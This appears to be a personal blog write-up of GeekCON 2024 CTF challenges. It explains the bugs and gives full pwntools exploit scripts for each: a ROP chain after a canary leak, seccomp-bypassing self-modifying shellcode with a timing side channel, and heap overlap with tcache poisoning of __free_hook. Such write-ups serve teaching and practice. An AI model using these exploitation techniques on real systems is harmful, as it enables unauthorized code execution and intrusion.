nyyyddddn

geekcon

2024/04/24

题目附件https://github.com/nyyyddddn/ctf/tree/main/geekcon

pwnable

Memo0

有一个login函数,login success了会调用一个输出flag的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 login()
{
unsigned __int64 v0; // rax
size_t v1; // rax
_BYTE *s1; // [rsp+8h] [rbp-38h]
char s[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
printf("Please enter your password: ");
__isoc99_scanf("%29s", s);
v0 = strlen(s);
s1 = sub_12E9((__int64)s, v0);
if ( !s1 )
{
puts("Error!");
exit(-1);
}
v1 = strlen(s2);
if ( memcmp(s1, s2, v1) )
{
puts("Password Error.");
exit(-1);
}
puts("Login Success!");
sub_1623();
free(s1);
return v5 - __readfsqword(0x28u);
}

三个字节转换成四个一组然后 sbox,很明显是base64,然后把索引表换了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
_BYTE *__fastcall sub_12E9(__int64 a1, unsigned __int64 a2)
{
unsigned __int64 v3; // rax
unsigned __int64 v4; // rax
int v5; // eax
unsigned __int64 v6; // rax
int v7; // eax
__int64 v8; // rax
int i; // [rsp+1Ch] [rbp-34h]
int v10; // [rsp+20h] [rbp-30h]
int v11; // [rsp+24h] [rbp-2Ch]
unsigned int v12; // [rsp+2Ch] [rbp-24h]
unsigned __int64 v13; // [rsp+30h] [rbp-20h]
__int64 v14; // [rsp+38h] [rbp-18h]
unsigned __int64 v15; // [rsp+40h] [rbp-10h]
_BYTE *v16; // [rsp+48h] [rbp-8h]

v15 = 4 * ((a2 + 2) / 3);
v16 = malloc(v15 + 1);
if ( !v16 )
return 0LL;
v13 = 0LL;
v14 = 0LL;
while ( v13 < a2 )
{
v3 = v13++;
v10 = *(unsigned __int8 *)(a1 + v3);
if ( v13 >= a2 )
{
v5 = 0;
}
else
{
v4 = v13++;
v5 = *(unsigned __int8 *)(a1 + v4);
}
v11 = v5;
if ( v13 >= a2 )
{
v7 = 0;
}
else
{
v6 = v13++;
v7 = *(unsigned __int8 *)(a1 + v6);
}
v12 = (v11 << 8) + (v10 << 16) + v7;
v16[v14] = aZyxwvutsrqponm[(v12 >> 18) & 0x3F];
v16[v14 + 1] = aZyxwvutsrqponm[(v12 >> 12) & 0x3F];
v16[v14 + 2] = aZyxwvutsrqponm[(v12 >> 6) & 0x3F];
v8 = v14 + 3;
v14 += 4LL;
v16[v8] = aZyxwvutsrqponm[v12 & 0x3F];
}
for ( i = 0; i < (3 - a2 % 3) % 3; ++i )
v16[v15 - i - 1] = '=';
v16[v15] = 0;
return v16;
}

直接解密拿到login用的password,login后拿到flag

Memo1

memo1在memo0的基础上去掉了backdoor函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
unsigned int v5; // [rsp+8h] [rbp-118h]
char s[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v7; // [rsp+118h] [rbp-8h]

v7 = __readfsqword(0x28u);
sub_1594(a1, a2, a3);
puts("===================Memo Login===================");
login();
v5 = 0;
while ( 1 )
{
while ( 1 )
{
v3 = sub_188A();
if ( v3 != 4 )
break;
v5 = 0;
memset(s, 0, 0x100uLL);
}
if ( v3 > 4 )
break;
switch ( v3 )
{
case 3:
sub_17F2(s, v5);
break;
case 1:
v5 += sub_1780(s, v5);
break;
case 2:
puts("Content:");
puts(s);
break;
default:
goto LABEL_12;
}
}
LABEL_12:
puts("Error Choice!");
return 0LL;
}

在这个子函数里面存在一个有符号数转无符号数的溢出,由于程序存在canary 得控制输入数据在恰当大小下用puts把canary泄露出来,补码中接近0的负数 高位全是1,所以得找一个尽可能远离0的负数,搜索八个字节有符号整数能表示的最小的数是 -9223372036854775808,所以只需要构造一个 -9223372036854775808 + size的表达式,就能控制read to buf的size

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 __fastcall sub_17F2(__int64 a1, unsigned int a2)
{
__int64 v3; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("How many characters do you want to change:");
__isoc99_scanf("%lld", &v3);
if ( a2 > v3 )
{
read_to_buf(a1, v3);
puts("Done!");
}
return v4 - __readfsqword(0x28u);
}

通过puts去泄露libc和canary的值,然后打rop就好了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "chall.geekctf.geekcon.top"
PORT = 40311

elf = context.binary = ELF('./memo1')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

password ="CTF_is_interesting_isn0t_it?"
sla("Please enter your password:",password)


def add(data):
sla("Your choice:","1")
sla("What do you want to write in the memo:",data)

def show():
sla("Your choice:","2")

def edit(num,data):
sla("Your choice:","3")
sla("How many characters do you want to change:",str(num))
s(data)


add(b'a' * 0x10)
edit((-9223372036854775808 + (0x110 - 8 + 1)),b"G" * (0x110 - 8 + 1))
show()
ru(b"G" * (0x110 - 8))
leak_canary = u64(r(8)) & 0xffffffffffffff00
success(f"libc_base ->{hex(leak_canary)}")


payload = b'G' * (0x110 - 8) + b'G' * 0x10
edit((-9223372036854775808 + (0x118)),payload)
show()

ru(b'G' * (0x110 - 8) + b'G' * 0x10)

libc_base = u64(r(6).ljust(8,b'\x00')) - (0x732289629d90 - 0x732289600000)
success(f"libc_base ->{hex(libc_base)}")

rdi = libc_base + 0x000000000002a3e5
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
ret = libc_base + 0x00000000000c45e3 # 0x00000000000c45e3 : sub rax, 1 ; ret

payload = b'G' * (0x110 - 8) + p64(leak_canary) + b'G' * 8 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)

edit((-9223372036854775808 + (len(payload))),payload)
sla("Your choice:","5")

p.interactive()

shellcode

好难,这个shellcode,有一个沙箱,得用侧信道爆破,不过侧信道爆破这个问题不大,难的地方在绕过这个沙箱最好的方法是 sysycall read一次,但是syscall两个字节取余后都为1,然后( (char)(*((char *)buf + i) % 2) != i % 2 ) 取余判断这里 其实是存在一个溢出的,也就是说只能用 127以下的指令去实现self modifying code 造一个syscall read,能用的指令非常有限,搓出 sysycall read之后,填充大量的nop在nop后边写一个 open read cmp的逻辑,如果cmp成功就陷入一个比较大的循环,通过每次交互的时间差来判断flag的内容

处理时间差的策略是,针对每个pos 记录下 start_time 和 end_time的差,找出其中最大的差

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 sub_1290()
{
__int64 result; // rax
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
result = seccomp_load(v1);
if ( (int)result < 0 )
{
perror("seccomp_load failed");
exit(1);
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int i; // [rsp+0h] [rbp-10h]
int v5; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]

sub_1249(a1, a2, a3);
puts("Please input your shellcode: ");
buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
sub_1290();
v5 = read(0, buf, 0x200uLL);
for ( i = 0; i < v5; ++i )
{
if ( (char)(*((char *)buf + i) % 2) != i % 2 )
return 0xFFFFFFFFLL;
}
((void (*)(void))buf)();
return 0LL;
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
import time

context(os='linux', arch='amd64')
# # context.log_level='debug'

is_debug = 0

IP = "chall.geekctf.geekcon.top"
PORT = 40245

elf = context.binary = ELF('./shellcode')
libc = elf.libc


def connect():
return remote(IP, PORT) if not is_debug else process()

# *RAX 0x730d36646000 ◂— 0x6162 /* 'ba' */
# RBX 0x0
# RCX 0x1
# RDX 0x0
# RDI 0x0
# RSI 0x730d36646000 ◂— 0x6162 /* 'ba' */
# R8 0x5c750189bb10 ◂— 0x5c70c6d9a48b
# R9 0x5c750189bb10 ◂— 0x5c70c6d9a48b
# R10 0x1
# R11 0x246
# R12 0x7fffc7a464e8 —▸ 0x7fffc7a47553 ◂— '/home/lhj/Desktop/geekcon/shellcode/shellcode'
# R13 0x5c7500bd1313 ◂— endbr64
# R14 0x0
# R15 0x730d36649040 (_rtld_global) —▸ 0x730d3664a2e0 —▸ 0x5c7500bd0000 ◂— 0x10102464c457f
# RBP 0x7fffc7a463d0 ◂— 0x1
# RSP 0x7fffc7a463c0 ◂— 0x200000002
# *RIP 0x5c7500bd13d5 ◂— call rax

# b'\x0f\x05'
# add byte ptr[rcx],al 00 01
# add dword ptr[rsi],eax 01 06

strlist = "abcdefghijklmnopqrstuvwxyz0123456789_-+=@$%^&*({}\\|/?"
flag = ''

for pos in range(0,4):

total = 0
str_str = 0
for byte in strlist:
p = connect()
start = time.time()

try:
p.recvuntil('shellcode: ')
shellcode = b"\x90\x01\x18\x59\x6a\x3b\x5a\x59\x4c\x01\x18\x59\x48\x01\x10\x59\x6a\x7f\x5a\x59\x48\x01\x10\x59\x48\x01\x10\x59\x68\x01\x00\x01\x00\x59\x50\x51\x5a\x59\x48\x31\xc0\x59\x48\x39\xd2\x59\x56\x59\x50\x51\xc2"
p.send(shellcode)

payload = asm('nop') * 0x10
payload += asm(f'''
mov r15,rsi
add r15,0x100
mov rax,2
mov rdi,r15
mov rsi,0
syscall

mov rax,0
mov rdi,3
mov rsi,r15
mov rdx,0x100
syscall

mov r14,0x7fff0000
loop:
sub r14,1
cmp r14,0
jz $+200
mov al, byte ptr[r15+{pos}]
cmp al,{ord(byte)}
jz loop
''')
payload = payload.ljust(0x100,asm('nop'))
payload += b'./flag\x00\x00'

p.send(payload)
p.recvuntil("aaaa")
p.interactive()
except:
end = time.time()
if end-start>total:
str_str=byte
total = end-start
p.close()

flag += str_str
success(flag)
if str_str == '}':
break

success(flag)

flat

题目加了控制流平坦化,第一次做这种类型的题,找了好多项目去修复,发现都缺少逻辑,可能是题目做了什么手脚

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
unsigned int i; // [rsp+21Ch] [rbp-164h]
int v4; // [rsp+220h] [rbp-160h]
int data_to_int; // [rsp+224h] [rbp-15Ch]
unsigned int idx_4; // [rsp+228h] [rbp-158h]
unsigned int idx; // [rsp+228h] [rbp-158h]
unsigned int idx_3; // [rsp+228h] [rbp-158h]
unsigned int idx_2; // [rsp+228h] [rbp-158h]
unsigned int idx_1; // [rsp+228h] [rbp-158h]
int choice; // [rsp+238h] [rbp-148h]

v4 = 1;
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
while ( 1 )
{
do
{
while ( 1 )
{
while ( 1 )
{
choice = read_data_to_int();
if ( choice < 4919 )
break;
if ( choice < 48879 )
{
if ( choice == 4919 )
{
idx = read_data_to_int();
if ( idx > 0x1F || !chunk_list[idx].chunk_addr )
exit(0);
free((void *)chunk_list[idx].chunk_addr);
chunk_list[idx].chunk_addr = 0LL;
LODWORD(chunk_list[idx].chunk_size) = 0;
}
}
else if ( choice < 57005 )
{
if ( choice == 48879 )
exit(0);
}
else if ( choice == 57005 )
{
idx_1 = read_data_to_int();
if ( idx_1 > 0x1F || !chunk_list[idx_1].chunk_addr || !LODWORD(chunk_list[idx_1].chunk_size) )
exit(0);
puts((const char *)chunk_list[idx_1].chunk_addr);
}
}
if ( choice < 2989 )
break;
if ( choice < 4112 )
{
if ( choice == 2989 )
{
if ( !v4 )
exit(0);
v4 = 0;
idx_2 = read_data_to_int();
if ( idx_2 > 0x1F || !chunk_list[idx_2].chunk_addr || !LODWORD(chunk_list[idx_2].chunk_size) )
exit(0);
for ( i = 0; i < LODWORD(chunk_list[idx_2].chunk_size); ++i )
read(0, (void *)((char)i + chunk_list[idx_2].chunk_addr), 1uLL);
}
}
else if ( choice == 4112 )
{
idx_3 = read_data_to_int();
if ( idx_3 > 0x1F || !chunk_list[idx_3].chunk_addr || !LODWORD(chunk_list[idx_3].chunk_size) )
exit(0);
read_to_buf(chunk_list[idx_3].chunk_addr, chunk_list[idx_3].chunk_size);
}
}
}
while ( choice != 768 );
idx_4 = read_data_to_int();
if ( idx_4 > 0x1F || LODWORD(chunk_list[idx_4].chunk_size) || chunk_list[idx_4].chunk_addr )
exit(0);
data_to_int = read_data_to_int();
if ( data_to_int <= 0 || data_to_int > 2048 )
exit(0);
LODWORD(chunk_list[idx_4].chunk_size) = data_to_int;
chunk_list[idx_4].chunk_addr = (__int64)malloc(data_to_int);
read_to_buf(chunk_list[idx_4].chunk_addr, chunk_list[idx_4].chunk_size);
}
}

只能还原成这样了,漏洞是调试出来的,我构造了很多输入,发现在只有一次 使用机会的edit选项里,当chunk的 udata > 0x80 时候会把 大小为 udata_size - 0x80 的数据 复制到 udata_addr - 0x80的位置,也就是存在一个memcpy的逻辑

初始化chunk和另一个编辑函数都存在00截断,那只有一次memcpy的机会,怎么样同时做到tcache poison 和 覆盖00位泄露地址?

思考了很久想出这样一种堆布局,memcpy 去覆盖一个inused 状态下chunk的size位置 和 把相邻chunk中的00 位置填充,这样不就能拿实现堆叠,通过堆叠打tcache poison 以及 解决 00截断的问题吗?

利用unsortedbin 切分残留的地址去泄露libc,然后打free hook就好了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "chall.geekctf.geekcon.top"
PORT = 40246

elf = context.binary = ELF('./flat')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

p = connect()

def show(idx):
sl("57005")
sl(str(idx))

def delete(idx):
sl("4919")
sl(str(idx))

def create(idx,size,data):
sl("768")
sl(str(idx))
sl(str(size))
sl(data)

# 当一个堆块的size > 0x80 时, 使用 edit(idx,data),满足len(data) > 0x80, 会将 len(data) - 0x80 的大小的数据 复制到 chunk的udata - 0x80位置
def edit(idx,data):
sl("2989")
sl(str(idx))
s(data)


def edit2(idx,data):
sl("4112")
sl(str(idx))
sl(data)


create(0,0x500,"A" * 0x500)
create(1,0x20,"A")
delete(0)

create(2,0x10,"A") # modify this chunk->size
create(3,0x10,"A") # leak libc
create(4,0x20,b"/bin/sh")
create(5,0xb8,"C") # vuln

# 0xb8
payload = b'C' * 0x80
payload += p64(0) + p64(0x101) + b'C' * 0x18
payload += p64(0x21) + b'C' * 8
edit(5,payload)

show(3)

ru("C" * 8)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x000074274af14be0 - 0x74274ad28000)
success(f"libc_base -> {hex(libc_base)}")
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']

create(13,0x10,"SSSS")
create(6,0x3C0 - 0x10,"SSSS") # clean unsorted bin

# heap overlap
delete(2)
delete(13)
delete(3)

free_hook_low = free_hook & 0xffffffff
free_hook_high = (free_hook >> 32) & 0xffff
create(7,0xf0,b"S" * 0x18 + p64(0x21) + p32(free_hook_low) + p16(free_hook_high))


create(8,0x10,"SSSS")
create(9,0x10,p64(system))

delete(4)

p.interactive()

misc

WhereisMyFlag

.py文件中藏了一段 base64 decode的代码,复制出来后把结果写出来发现是一个压缩文件,gunzip 解压后 使用zcat去查看得到flag

CATALOG
  1. 1. pwnable
    1. 1.1. Memo0
    2. 1.2. Memo1
    3. 1.3. shellcode
    4. 1.4. flat
  2. 2. misc
    1. 2.1. WhereisMyFlag